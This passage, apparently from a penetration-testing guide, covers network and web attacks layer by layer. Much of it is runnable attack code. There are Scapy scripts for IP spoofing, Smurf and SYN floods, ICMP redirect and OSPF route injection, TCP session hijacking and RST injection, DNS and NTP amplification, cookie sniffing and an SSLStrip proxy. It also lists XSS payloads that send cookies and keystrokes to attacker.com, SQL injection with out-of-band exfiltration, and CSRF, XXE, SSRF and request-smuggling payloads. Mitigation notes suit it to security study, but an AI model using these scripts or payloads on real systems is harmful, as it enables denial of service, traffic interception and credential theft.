- Unique Local: FC00::/7 (site-local, like IPv4 private)
- Link-Local: FE80::/10 (local link only)
- Multicast: FF00::/8 (multicast groups)
- Anycast: Multiple interfaces share address
IP packets contain source addresses that routers typically trust. By forging source IP addresses, attackers can:
Attack Scenarios:
- Bypass IP-based access controls: Spoof trusted IP addresses
- Launch reflection attacks: Spoof victim IP as source, responses go to victim
- Conceal true origin: Hide attacker's real IP address
- Impersonate trusted systems: Pretend to be internal servers
IP Spoofing Implementation:
from scapy.all import *
import socket
def send_spoofed_packet(target_ip, spoofed_ip, payload):
"""Send packet with spoofed source IP"""
packet = IP(src=spoofed_ip, dst=target_ip)/TCP()/Raw(load=payload)
send(packet, verbose=False)
print(f"[+] Sent spoofed packet from {spoofed_ip} to {target_ip}")
# Example: Spoof internal DNS server
send_spoofed_packet("192.168.1.100", "192.168.1.1", "Malicious data")Detection and Prevention:
- Ingress filtering: Block packets with source addresses outside expected ranges
- Egress filtering: Block packets with source addresses not belonging to network
- uRPF (Unicast Reverse Path Forwarding): Verify source address reachability
- IPsec: Authenticate packet sources cryptographically
- BCP 38: Best practice for source address validation
ICMP provides error reporting and diagnostic functions but can be weaponized:
ICMP Types and Codes:
- Type 0: Echo Reply (ping response)
- Type 3: Destination Unreachable (with codes: 0=net, 1=host, 2=proto, 3=port, 4=frag needed)
- Type 5: Redirect (change routing)
- Type 8: Echo Request (ping)
- Type 11: Time Exceeded (TTL expired)
- Type 13: Timestamp Request/Reply
- Type 17: Address Mask Request/Reply
ICMP Tunneling
ICMP tunneling encapsulates non-ICMP traffic within ICMP packets:
How It Works:
- Client encapsulates data in ICMP echo request payload
- Server extracts data from ICMP echo request
- Server sends response in ICMP echo reply payload
- Firewalls often allow ICMP, making this an effective covert channel
ICMP Tunneling Tools:
# Using ptunnel (Ping Tunnel)
ptunnel -p <proxy_server> -lp <listen_port> -da <destination> -dp <port>
# Using icmptx (ICMP Tunnel)
./icmptx -c <client> <server>
# Using Hans (ICMP tunneling)
hans -v -c -p <password> -s <server_ip> -d <tunnel_ip>Detection:
- Unusually large ICMP packets
- High frequency of ICMP traffic
- Regular timing patterns
- Non-standard ICMP payload content
Smurf Attack (ICMP Amplification)
Attack Mechanics:
- Attacker sends ICMP echo requests to network broadcast address
- Source IP spoofed to victim's address
- All devices on network respond to victim
- Amplification factor = number of responding hosts
Smurf Attack Implementation:
from scapy.all import *
def smurf_attack(broadcast_ip, victim_ip, count=100):
"""Send spoofed ICMP to broadcast address"""
packet = IP(src=victim_ip, dst=broadcast_ip)/ICMP()
send(packet, count=count, verbose=False)
print(f"[+] Sent {count} spoofed pings to {broadcast_ip}")Modern Mitigations:
- Disable IP-directed broadcasts on routers
- Configure hosts to ignore broadcast pings
- Ingress filtering prevents spoofed traffic
ICMP Redirect Attacks
How ICMP Redirect Works: When a router receives a packet on an interface and knows a better route out the same interface, it sends an ICMP redirect to the sender, telling them to use a different gateway for that destination.
Attack Mechanics:
- Attacker sends forged ICMP redirect to victim
- Claims to have better route to destination
- Victim updates routing table
- Traffic now flows through attacker
ICMP Redirect Attack:
from scapy.all import *
def icmp_redirect(victim_ip, gateway_ip, target_net, attacker_ip):
"""Send forged ICMP redirect"""
# Build ICMP redirect packet
redirect = IP(src=gateway_ip, dst=victim_ip)/ \
ICMP(type=5, code=1, gw=attacker_ip)/ \
IP(src=victim_ip, dst=target_net)/ICMP()
send(redirect, verbose=False)
print(f"[+] Sent ICMP redirect: {victim_ip} -> {attacker_ip} for {target_net}")Mitigation:
- Disable ICMP redirect acceptance on hosts
- Configure routers not to send redirects
- Use static routing for critical paths
OSPF (Open Shortest Path First) Attacks
OSPF is a link-state routing protocol used within autonomous systems:
OSPF Packet Types:
- Hello: Discover neighbors, establish adjacencies
- Database Description: Exchange link-state summaries
- Link-State Request: Request specific LSAs
- Link-State Update: Send LSAs
- Link-State Acknowledgment: Acknowledge LSAs
OSPF Authentication:
- Null: No authentication (vulnerable)
- Plaintext: Simple password (easily sniffed)
- MD5: Cryptographic authentication (stronger, but MD5 weaknesses)
OSPF Attack Vectors:
LSA Injection:
- Attacker establishes OSPF adjacency with router
- Injects false Link State Advertisements
- Network routes through attacker or to wrong destinations
- Can cause blackholing or MITM
OSPF LSA Injection:
from scapy.all import *
import struct
# Simplified OSPF LSA injection
ospf_lsa = IP(src="192.168.1.1", dst="224.0.0.5")/ \
OSPF_Hdr(type=4, routerid="192.168.1.100", areaid=0)/ \
OSPF_LSUpd(lsacount=1)/ \
OSPF_RouterLSA(id="192.168.2.0", adrouter="192.168.1.1", mask="255.255.255.0")
send(ospf_lsa, verbose=False)OSPF Authentication Bypass:
- Sniff OSPF packets to capture plaintext passwords
- Use captured MD5 hashes for replay attacks
- Brute-force weak MD5 keys
BGP (Border Gateway Protocol) Attacks
BGP routes traffic between autonomous systems on the internet:
BGP Fundamentals:
- Path-vector protocol
- Exchanges routing information between ASes
- Uses TCP port 179
- Routes based on path attributes
BGP Attack Vectors:
BGP Hijacking:
- Attacker announces more specific prefix (e.g., /24 instead of /16)
- More specific routes are preferred
- Traffic redirects to attacker's AS
- Can intercept, monitor, or blackhole traffic
Famous BGP Hijacks:
- 2008 Pakistan YouTube Hijack: Pakistan Telecom announced YouTube's /22, took YouTube offline globally
- 2018 MyEtherWallet: DNS traffic hijacked via BGP, $150k stolen
- 2021 Facebook Outage: BGP withdrawals caused 6-hour global outage
BGP Route Injection:
# Simplified BGP UPDATE message (conceptual)
bgp_update = {
'withdrawn_routes': [],
'path_attributes': [
{'type': 1, 'value': 'ORIGIN', 'data': 0}, # IGP
{'type': 2, 'value': 'AS_PATH', 'data': [65001]}, # AS_PATH
{'type': 3, 'value': 'NEXT_HOP', 'data': '192.0.2.1'}, # Next hop
],
'nlri': [{'prefix': '203.0.113.0', 'length': 24}] # Announced prefix
}BGP Security Measures:
- RPKI (Resource Public Key Infrastructure): Cryptographic validation of route origins
- BGPsec: Path validation using digital signatures
- Prefix filtering: Filter unexpected announcements
- Max prefix limits: Prevent route leaks
RIP (Routing Information Protocol) Attacks
RIP is a distance-vector routing protocol (rare but still present):
RIP Attack Vectors:
- RIP v1: No authentication, trivial to inject routes
- RIP v2: Plaintext or MD5 authentication possible
- Route poisoning: Inject false routes with low metrics
- Split horizon bypass: Send updates back to source
IP fragmentation can be used to evade detection:
Fragmentation Basics: Large packets are fragmented into smaller pieces:
- Each fragment has identification, offset, and MF flag
- Only first fragment contains full transport header
- Fragments reassembled at destination
Fragmentation Attack Techniques:
Tiny Fragment Attack: Force first fragment to be too small to contain full transport header:
from scapy.all import *
# First fragment too small for TCP header
frag1 = IP(dst="target", flags="MF", frag=0)/ \
Raw(load="GET /") # Only part of request
# Second fragment contains rest
frag2 = IP(dst="target", frag=1)/ \
Raw(load="admin HTTP/1.0\r\n\r\n")Fragment Overlap Attack: Create overlapping fragments that reassemble differently:
# Fragment 1: "GET /index.html"
frag1 = IP(dst="target", flags="MF", frag=0)/Raw(load="GET /index.ht")
# Fragment 2: Overlapping offset, writes "admin" over part
frag2 = IP(dst="target", frag=1)/Raw(load="adminl")
# Reassembled: "GET /adminl" (if overlapping handled poorly)Fragment Overlap Exploitation:
- Firewall sees "GET /index.html" in fragments
- Target reassembles to "GET /admin.html"
- Bypasses URL filtering
Mitigation:
- Fragment reassembly before inspection
- Normalize overlapping fragments
- Block fragments with non-zero offsets to unexpected ports
The transport layer manages end-to-end communication, flow control, and reliability. TCP and UDP dominate this layer, and understanding their nuances is crucial for penetration testing.
TCP Header Structure:
- Source Port (16 bits): Sending application port
- Destination Port (16 bits): Receiving application port
- Sequence Number (32 bits): Position in data stream
- Acknowledgment Number (32 bits): Next expected byte (ACK set)
- Data Offset (4 bits): Header length in 32-bit words
- Reserved (3 bits): For future use (must be zero)
- Flags (9 bits): NS, CWR, ECE, URG, ACK, PSH, RST, SYN, FIN
- Window Size (16 bits): Receive window size (flow control)
- Checksum (16 bits): Error detection for header and data
- Urgent Pointer (16 bits): Points to urgent data (URG set)
- Options (variable): Maximum segment size, window scaling, timestamps, SACK
TCP Three-Way Handshake:
- Client → Server: SYN (seq=x)
- Server → Client: SYN-ACK (seq=y, ack=x+1)
- Client → Server: ACK (ack=y+1)
TCP State Diagram:
- CLOSED: No connection
- LISTEN: Waiting for connection
- SYN-SENT: Sent SYN, waiting for SYN-ACK
- SYN-RECEIVED: Received SYN, sent SYN-ACK
- ESTABLISHED: Connection established
- FIN-WAIT-1: Sent FIN, waiting for ACK
- FIN-WAIT-2: Received ACK, waiting for FIN
- CLOSE-WAIT: Received FIN, sent ACK
- CLOSING: Received FIN, sent FIN, waiting for ACK
- LAST-ACK: Sent FIN, waiting for FIN-ACK
- TIME-WAIT: Waiting for delayed packets (2×MSL)
TCP SYN Flood
Attack Mechanics:
- Attacker sends many SYN packets with spoofed source IPs
- Server allocates resources for half-open connections
- Server backlog queue fills
- Legitimate connections cannot be established
SYN Flood Implementation:
from scapy.all import *
import random
def syn_flood(target_ip, target_port, count=10000):
"""SYN flood attack"""
for i in range(count):
# Spoofed source IP
src_ip = "%d.%d.%d.%d" % tuple(random.randint(1,255) for _ in range(4))
# SYN packet
packet = IP(src=src_ip, dst=target_ip)/ \
TCP(sport=random.randint(1024,65535), dport=target_port, flags="S")
send(packet, verbose=False)
if i % 1000 == 0:
print(f"[+] Sent {i} SYN packets")
# Requires root privileges
# syn_flood("192.168.1.100", 80)SYN Flood Mitigation:
- SYN Cookies: Encode connection info in SYN-ACK sequence number
- SYN Cache: Limit resources for half-open connections
- Increase backlog queue: Allow more pending connections
- RST cookies: Send RST for suspicious SYNs
- Rate limiting: Limit SYNs per source IP
TCP Sequence Number Prediction
Attack Mechanics:
- Attacker sniffs initial sequence number from SYN-ACK
- Predicts next sequence number (if predictable)
- Forges packets that appear part of established connection
- Can inject data or hijack session
Predictable Sequence Number Generation:
- RFC 793: ISN = timer + connection ID (predictable)
- Some implementations: ISN = constant increment (very predictable)
- Modern systems: Random ISN generation
Sequence Number Prediction Attack:
from scapy.all import *
import time
def seq_number_prediction(target_ip, target_port, spoofed_ip, spoofed_port):
"""Predict sequence numbers (simplified)"""
# First, establish real connection to get ISN pattern
syn = IP(dst=target_ip)/TCP(sport=12345, dport=target_port, flags="S")
syn_ack = sr1(syn, timeout=2)
if syn_ack:
seq_num = syn_ack[TCP].seq
print(f"[+] Received SYN-ACK with seq={seq_num}")
# In predictable systems, next ISN might be seq_num + increment
predicted_next = seq_num + 1000 # Guess increment
# Send spoofed packet with predicted sequence
spoofed = IP(src=spoofed_ip, dst=target_ip)/ \
TCP(sport=spoofed_port, dport=target_port,
seq=predicted_next, ack=syn_ack[TCP].seq + 1, flags="A")/ \
Raw(load="Malicious data")
send(spoofed, verbose=False)
print(f"[+] Sent spoofed packet with seq={predicted_next}")Modern Protection:
- Random sequence numbers (ISN randomization)
- TCP timestamps for additional validation
- Cryptographic sequence numbers (TCP-AO)
TCP Session Hijacking
Attack Mechanics:
- Attacker sniffs established TCP connection
- Determines correct sequence numbers
- Injects malicious packets with correct seq/ack
- Can insert commands, redirect traffic
TCP Session Hijacking Implementation:
from scapy.all import *
def tcp_hijack(interface, victim_ip, victim_port, target_ip, target_port, command):
"""Hijack TCP session and inject command"""
# Sniff to get current sequence numbers
def inject_command(pkt):
if pkt.haslayer(TCP) and pkt[IP].src == victim_ip and pkt[TCP].sport == victim_port:
# Got packet from victim to server
seq = pkt[TCP].seq
ack = pkt[TCP].ack
# Forge packet from victim to server
inject = IP(src=victim_ip, dst=target_ip)/ \
TCP(sport=victim_port, dport=target_port,
seq=seq, ack=ack, flags="A")/ \
Raw(load=command)
send(inject, iface=interface, verbose=False)
print(f"[+] Injected command with seq={seq}")
# Stop sniffing
return True
print(f"[*] Sniffing for TCP session {victim_ip}:{victim_port} -> {target_ip}:{target_port}")
sniff(iface=interface, filter=f"tcp and host {victim_ip}", prn=inject_command, count=10)TCP Desynchronization
Attack Mechanics:
- Attacker sends packet with large sequence number
- Desynchronizes client and server expectations
- Server ignores legitimate client packets
- Attacker can inject packets that server accepts
TCP Desynchronization:
# Send packet with large seq to desync
desync = IP(src=victim_ip, dst=server_ip)/ \
TCP(sport=victim_port, dport=server_port, seq=999999999, flags="A")/ \
Raw(load="x")
send(desync, verbose=False)TCP RST Attacks
Attack Mechanics:
- Attacker sends forged RST packet to terminate connection
- Must have correct sequence number
- Can disrupt critical connections
TCP RST Attack:
def tcp_rst(victim_ip, victim_port, server_ip, server_port, seq_num):
"""Send forged RST to terminate connection"""
rst = IP(src=server_ip, dst=victim_ip)/ \
TCP(sport=server_port, dport=victim_port, seq=seq_num, flags="R")
send(rst, verbose=False)
print(f"[+] Sent RST to terminate connection")UDP's connectionless nature makes it ideal for amplification attacks:
UDP Header:
- Source Port (16 bits): Optional (0 if not used)
- Destination Port (16 bits): Target application
- Length (16 bits): UDP header + data length
- Checksum (16 bits): Error detection (optional in IPv4)
DNS Amplification Attack
Attack Mechanics:
- Attacker sends small DNS queries (60 bytes) with spoofed source IP
- Queries request "ANY" record for large domain (e.g., isc.org)
- Open resolvers send large responses (3000+ bytes) to victim
- Amplification factor: 50-100x
DNS Ampl Vectors:
- ANY query: Returns all record types (largest)
- DNSSEC: Large key records
- EDNS0: Allow large responses
- Multiple questions: More data per query
DNS Amplification Tool:
from scapy.all import *
import random
def dns_amplification(target_ip, dns_servers, domain="isc.org", count=100):
"""DNS amplification attack"""
# Build DNS query for ANY record
dns_query = IP(dst=dns_servers)/ \
UDP(sport=random.randint(1024,65535), dport=53)/ \
DNS(rd=1, qd=DNSQR(qname=domain, qtype="ANY"))
# Spoof source IP
for i in range(count):
query = dns_query.copy()
query[IP].src = target_ip # Spoof victim IP
send(query, verbose=False)
if i % 10 == 0:
print(f"[+] Sent {i} amplification queries")
# Requires list of open resolvers
# dns_amplification("victim_ip", ["8.8.8.8", "1.1.1.1"])NTP Monlist Attack
Attack Mechanics:
- Send small request to NTP server with "monlist" command
- Server responds with list of last 600 clients (large response)
- Amplification factor up to 500x
NTP Monlist Attack:
# NTP monlist request
ntp_monlist = IP(dst="ntp_server")/ \
UDP(sport=12345, dport=123)/ \
Raw(load="\x17\x00\x03\x2a" + "\x00" * 4)
# Spoof source IP to victim
ntp_monlist[IP].src = "victim_ip"
send(ntp_monlist, verbose=False)Memcached Amplification
Attack Mechanics:
- Send small "stats" request to memcached server (15 bytes)
- Server responds with statistics (up to 1MB)
- Amplification factor up to 50,000x
- Used in 1.3 Tbps DDoS attacks
Other UDP Amplification Vectors:
- SSDP: Simple Service Discovery Protocol (30x)
- SNMP: Simple Network Management Protocol (50x)
- RIPv1: Routing Information Protocol (30x)
- Chargen: Character Generator Protocol (100x)
- QOTD: Quote of the Day (100x)
Mitigation:
- Disable unnecessary UDP services
- Rate limit UDP responses
- Implement response size limiting
- Source IP validation (BCP 38)
- Anycast for absorptive capacity
During reconnaissance, understanding port states provides critical intelligence:
Nmap Port States:
Open:
- Application actively accepts connections
- Service is listening on this port
- Represents attack surface for exploitation
- Banner grabbing possible
- What it reveals: Service type, version, OS hints
Closed:
- Port accessible but no application listening
- Host responded with RST (TCP) or ICMP unreachable (UDP)
- Reveals host is up and firewall allows access
- Useful for OS fingerprinting (different stacks respond differently)
Filtered:
- Port likely behind firewall that drops packets
- No response received (or ICMP unreachable)
- May indicate:
- Firewall rule dropping traffic
- Intrusion prevention system
- Network congestion
- Host not responding
Unfiltered:
- Port accessible but state cannot be determined
- Only occurs in specific scan types (ACK, window)
- Further probing required
- May indicate stateful firewall
Open|filtered:
- Cannot distinguish between open and filtered
- Common with UDP scans
- Lack of response could mean open (no response) or filtered (dropped)
Closed|filtered:
- Cannot distinguish between closed and filtered
- Rare, occurs with IP ID idle scans
TCP SYN Scan (-sS):
- Send SYN, receive SYN-ACK (open) or RST (closed)
- No response or ICMP unreachable = filtered
- Stealthier than connect scan (no full handshake)
- Requires raw socket privileges
TCP Connect Scan (-sT):
- Completes full TCP handshake
- Easily logged by applications
- No special privileges needed
- Slower, more detectable
TCP FIN Scan (-sF):
- Send FIN packet (no SYN)
- RFC: closed ports should respond with RST
- Open ports may ignore FIN
- Bypasses stateless firewalls
TCP NULL Scan (-sN):
- Send packet with no flags set
- Same behavior as FIN scan
- Bypasses some filters
TCP XMAS Scan (-sX):
- Send packet with FIN, PSH, URG flags set
- Same behavior as FIN scan
- "Lights up like a Christmas tree"
TCP ACK Scan (-sA):
- Send ACK packet (part of established connection)
- No response or RST = unfiltered
- ICMP unreachable = filtered
- Maps firewall rules, not open ports
TCP Window Scan (-sW):
- Similar to ACK scan, but examines window field
- Some systems return non-zero window for open ports
- Rare, OS-dependent
TCP Maimon Scan (-sM):
- Send FIN/ACK packet
- Some BSD systems respond with RST for closed ports
- Obsolete technique
UDP Scan (-sU):
- Send empty UDP header
- ICMP port unreachable = closed
- No response = open|filtered
- Very slow, unreliable
Different operating systems implement TCP/IP stacks differently, allowing OS detection:
Passive Fingerprinting (p0f): Analyze captured packets without sending probes:
- TTL: Initial TTL values (Linux=64, Windows=128, Solaris=255)
- Window size: TCP window scaling (varies by OS)
- DF flag: Don't Fragment behavior
- TOS: Type of Service settings
- TCP options: Order and values (MSS, WS, SACK, Timestamp)
Active Fingerprinting (nmap -O): Send crafted probes and analyze responses:
- TCP ISN sampling: Sequence number generation patterns
- TCP options support: Which options are supported
- IP ID generation: Sequential, random, zero
- ICMP response analysis: How OS responds to ICMP probes
- TCP timestamp: Frequency and increments
The upper layers directly support application functionality and represent the primary focus of web application testing.
The session layer manages sessions between applications, handling establishment, maintenance, and termination:
Session Layer Functions:
- Session establishment and termination
- Session checkpointing and recovery
- Dialog control (who transmits when)
- Session synchronization
Session Layer Protocols:
- NetBIOS: Network Basic Input/Output System
- RPC: Remote Procedure Call
- Sockets: Berkeley sockets API
- SOCKS: Socket Secure protocol
- SSL/TLS session management
Session Layer Attack Vectors:
Session Fixation:
- Attacker obtains valid session identifier (by visiting application)
- Tricks victim into using that session ID (via URL parameter, cookie, hidden form)
- Victim authenticates, binding session ID to their account
- Attacker uses same session ID to access victim's account
Session Fixation Prevention:
- Regenerate session ID after authentication
- Bind session to IP address or user agent
- Short session timeouts
- Secure cookie flags (HttpOnly, Secure, SameSite)
Session Hijacking:
- Attacker captures valid session identifier
- Methods: network sniffing, XSS, malware, side-channel
- Attacker presents captured session ID to application
- Application treats attacker as legitimate user
Session Hijacking via Network Sniffing:
from scapy.all import *
def sniff_sessions(interface):
"""Sniff HTTP sessions from network"""
def extract_session(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
payload = pkt[Raw].load.decode('utf-8', errors='ignore')
# Look for session cookies
if 'Cookie:' in payload or 'Set-Cookie:' in payload:
print(f"[+] Session from {pkt[IP].src}:{pkt[TCP].sport}")
for line in payload.split('\n'):
if 'Cookie:' in line or 'Set-Cookie:' in line:
print(f" {line.strip()}")
sniff(iface=interface, prn=extract_session, filter="tcp port 80")
# sniff_sessions("eth0")Session Replay Attacks:
- Capture legitimate session data (request, token, etc.)
- Replay same data later
- Application accepts replayed data as legitimate
Session Replay Prevention:
- Timestamps with short validity
- Nonces (single-use tokens)
- Sequence numbers
- Cryptographic signatures
NetBIOS Session Service Attacks: NetBIOS session service (port 139) can reveal:
- Share names and access
- User and group information
- System information
NetBIOS Enumeration:
# NetBIOS name lookup
nmblookup -A <target_ip>
# NetBIOS session enumeration
nbtscan <target_ip>/24
# SMB client connection
smbclient -L //<target_ip> -NThe presentation layer translates data between application and network formats, handling encryption, compression, and encoding:
Presentation Layer Functions:
- Data translation (EBCDIC to ASCII)
- Encryption and decryption
- Compression and decompression
- Data format conversion (JPEG, GIF, MPEG)
- Character encoding (UTF-8, UTF-16, ASCII)
SSL/TLS Stripping
Attack Mechanics:
- Attacker intercepts traffic between client and server (MITM)
- When client requests HTTPS, attacker connects to server via HTTPS
- Attacker serves HTTP version to client (downgrade)
- Client sees HTTP, attacker sees HTTPS
- Attacker can read/modify all traffic
SSLStrip Implementation:
#!/usr/bin/env python3
# Simplified SSLStrip concept
import socket
import threading
import re
class SSLStripProxy:
def __init__(self, listen_port=8080):
self.listen_port = listen_port
def handle_client(self, client_socket):
# Receive client request
request = client_socket.recv(4096).decode()
# Extract host and path
host_match = re.search(r'Host: (.*?)\r\n', request)
if host_match:
host = host_match.group(1)
# Connect to target (HTTPS)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.connect((host, 443))
# Upgrade request to HTTPS
request = request.replace('http://', 'https://')
# Send to server
server_socket.send(request.encode())
# Get response
response = server_socket.recv(4096)
# Downgrade response to HTTP
response = response.replace(b'https://', b'http://')
# Send to client
client_socket.send(response)
client_socket.close()
server_socket.close()
def run(self):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', self.listen_port))
server.listen(5)
print(f"[*] SSLStrip proxy listening on port {self.listen_port}")
while True:
client, addr = server.accept()
print(f"[+] Connection from {addr[0]}:{addr[1]}")
thread = threading.Thread(target=self.handle_client, args=(client,))
thread.start()
# sslstrip = SSLStripProxy()
# sslstrip.run()HSTS Bypass: HTTP Strict Transport Security (HSTS) prevents SSL stripping:
- Browser remembers sites should only be accessed via HTTPS
- Preloaded HSTS lists (Chrome, Firefox)
- Bypass techniques:
- First visit (if never visited before)
- HSTS super-cookies (tracking)
- Subdomain with missing HSTS
- DNS rebinding
Encoding Attacks
Character Encoding Confusion: Different encodings can interpret same bytes differently:
# UTF-7 XSS
payload = "+ADw-script+AD4-alert(1)+ADw-/script+AD4-"
# Double encoding
payload = "%253Cscript%253Ealert(1)%253C%252Fscript%253E"
# UTF-16 encoding
payload = "\x00<\x00s\x00c\x00r\x00i\x00p\x00t\x00>"Unicode Normalization Attacks: Unicode characters can be represented in multiple ways:
- Canonical equivalence: Different sequences represent same character
- Compatibility equivalence: Stylistic variants
- Normalization forms: NFC, NFD, NFKC, NFKD
Unicode Attack Example:
# Different representations of "é"
# NFC: \u00e9 (single character)
# NFD: e\u0301 (e + combining acute)
# Bypass filters by using different normalization
payload = "caf\u00e9" # vs "cafe\u0301"Encryption Oracle Attacks
Padding Oracle Attack: When encryption padding is validated and errors reveal information:
# Padding oracle vulnerability (CBC mode)
# Server responds differently to valid vs invalid padding
# Attacker can decrypt data byte by byte
def padding_oracle_attack(ciphertext, oracle_function):
"""Simplified padding oracle attack concept"""
block_size = 16
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
decrypted = b''
for block_num in range(len(blocks)-1):
# Decrypt each block using padding oracle
# (Complex - requires 256 attempts per byte)
pass
return decryptedFamous Padding Oracle Attacks:
- POODLE: Padding Oracle On Downgraded Legacy Encryption
- Lucky 13: Timing attacks on CBC padding
- BEAST: Browser Exploit Against SSL/TLS
The application layer is where web applications operate, providing the richest attack surface:
HTTP Protocol Fundamentals
HTTP/1.1 Features:
- Text-based protocol with human-readable headers
- Connection: keep-alive enables multiple requests per connection
- Pipelining allows multiple requests without waiting (rarely used)
- Chunked transfer encoding for dynamic content
- Host header for virtual hosting
HTTP/1.1 Request Structure:
GET /path/file.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
[request body - for POST/PUT]
HTTP/1.1 Response Structure:
HTTP/1.1 200 OK
Date: Mon, 23 May 2024 22:38:34 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Wed, 22 Jan 2024 19:15:56 GMT
Content-Type: text/html
Content-Length: 1234
[response body]
HTTP/2 Improvements:
- Binary protocol: Not human-readable, more efficient
- Multiplexing: Multiple streams over single connection
- Header compression: HPACK reduces overhead
- Server push: Server can push resources proactively
- Stream prioritization: Control resource loading order
- Connection preface: Mandatory connection preface
HTTP/2 Frame Types:
- DATA: Carries request/response body
- HEADERS: Contains header block fragment
- PRIORITY: Specifies stream priority
- RST_STREAM: Terminates stream
- SETTINGS: Configures connection parameters
- PUSH_PROMISE: Server push notification
- PING: Round-trip time measurement
- GOAWAY: Graceful connection shutdown
- WINDOW_UPDATE: Flow control
- CONTINUATION: Continue header block
HTTP/2 Attack Vectors:
- HPACK Bomb: Compressed headers that expand enormously
- Stream multiplexing DoS: Many streams exhausting resources
- Dependency tree attacks: Complex stream dependencies
- SETTINGS flooding: Excessive SETTINGS frames
- PUSH_PROMISE abuse: Unwanted resource pushes
HTTP/3 and QUIC:
- Built on UDP instead of TCP
- Faster connection establishment (0-RTT)
- Built-in encryption (always TLS 1.3)
- Connection migration (change IP mid-session)
- Stream multiplexing without head-of-line blocking
- Testing challenges: Limited tool support
Common Application Layer Attacks
Cross-Site Scripting (XSS): Injecting malicious scripts into web pages viewed by others:
- Reflected XSS: Script in request, reflected in response
- Stored XSS: Script stored on server, served to all visitors
- DOM-based XSS: Vulnerability in client-side JavaScript
XSS Payload Examples:
// Basic alert
<script>alert(1)</script>
// Cookie stealing
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
// Keylogging
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/key?k='+e.key);
}
</script>
// Port scanning (intranet)
<script>
for(let i=1;i<255;i++) {
new Image().src = 'http://192.168.1.'+i+':8080';
}
</script>SQL Injection: Injecting SQL commands into database queries:
-- Basic authentication bypass
' OR '1'='1' --
-- Union-based extraction
' UNION SELECT username,password FROM users --
-- Blind SQL injection (time-based)
' OR IF(1=1,SLEEP(5),0) --
-- Out-of-band extraction
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password),'.attacker.com\\test')) --Cross-Site Request Forgery (CSRF): Forcing authenticated user to perform unintended actions:
<!-- Hidden form auto-submit -->
<form id="csrf" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to" value="attacker">
</form>
<script>document.getElementById('csrf').submit();</script>XML External Entity (XXE) Attacks: Exploiting XML parsers to access local files or perform SSRF:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>Server-Side Request Forgery (SSRF): Tricking server into making requests to internal resources:
POST /api/fetch HTTP/1.1
Host: vulnerable.com
url=http://169.254.169.254/latest/meta-data/The TCP/IP model collapses OSI layers into four functional layers, representing the actual protocol stack used on the internet.
Understanding HTTP protocol versions is essential for modern web testing:
HTTP/1.1 Characteristics:
Persistent Connections:
- Multiple requests per TCP connection (Connection: keep-alive)
- Reduces connection overhead
- Can lead to head-of-line blocking
Pipelining:
- Send multiple requests without waiting for responses
- Responses must arrive in same order
- Rarely implemented due to complexity and HOL blocking
Chunked Transfer Encoding:
- Send data in chunks when size unknown
- Each chunk: [size in hex]\r\n[data]\r\n
- Final chunk: 0\r\n\r\n
HTTP/1.1 Vulnerabilities:
Request Smuggling: Due to ambiguous handling of Content-Length vs Transfer-Encoding:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.comResponse Splitting: Injecting CRLF to split responses:
GET /redirect?url=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>XSS</html>HTTP/2 Features and Attack Surfaces:
Binary Framing:
- All messages split into frames
- Streams for multiplexing
- No text-based parsing ambiguities
HPACK Compression:
- Compresses headers using Huffman coding
- Static and dynamic tables
- Attack: HPACK bomb - tiny compressed payload expands massively
Stream Multiplexing:
- Multiple streams over single connection
- Stream prioritization (weight, dependency)
- Attack: Dependency tree DoS - complex dependencies exhaust server
Server Push:
- Server can push resources before requested
- Attack: Push flood - overwhelm client with unwanted resources
HTTP/2 Vulnerabilities:
HPACK Bomb:
# Create tiny compressed header that expands to huge size
# Using Huffman encoding of repeated patternsStream ID Exhaustion:
# Create 2^31-1 streams, exhausting server resources
for i in range(1, 2**31):
send_headers(stream_id=i)SETTINGS Flood:
# Send many SETTINGS frames, consuming resources
for i in range(10000):
send_settings_frame()HTTP/3 (QUIC) Features:
Built on UDP:
- No TCP head-of-line blocking
- Faster connection establishment (0-RTT)
- Connection migration (IP address changes)
Always Encrypted:
- TLS 1.3 built-in (no optional encryption)
- No plaintext version
Stream Multiplexing:
- Independent streams (no HOL blocking)
- Stream IDs (client-initiated odd, server-initiated even)
QUIC Frames:
- STREAM: Carries HTTP data
- ACK: Acknowledgment
- CRYPTO: TLS handshake
- CONNECTION_CLOSE: Termination
- NEW_CONNECTION_ID: Connection migration
- MAX_STREAMS: Flow control
HTTP/3 Testing Challenges:
- Traditional tools (Wireshark, tcpdump) limited QUIC support
- Decryption requires TLS keys
- Many scanners don't support QUIC
- Need specialized tools (qvis, quic-tracker)
DNS is fundamental to web operations and provides numerous testing opportunities:
DNS Record Types:
- A: IPv4 address
- AAAA: IPv6 address
- CNAME: Canonical name (alias)
- MX: Mail exchange
- NS: Name server
- TXT: Text record (SPF, DKIM, verification)
- SOA: Start of authority
- PTR: Pointer (reverse DNS)
- SRV: Service location
- CAA: Certification Authority Authorization
DNS Enumeration Techniques:
Zone Transfer (AXFR):
# Basic zone transfer
dig axfr @ns1.target.com target.com
# Zone transfer from all name servers
for ns in $(dig ns target.com +short); do
dig axfr target.com @$ns
done
# Using dnsrecon
dnsrecon -d target.com -t axfrSubdomain Brute-Forcing:
# Using gobuster
gobuster dns -d target.com -w subdomains.txt -t 50
# Using massdns (high-performance)
massdns -r resolvers.txt -t A -w results.txt subdomains.txt
# Using ffuf (web fuzzing for vhosts)
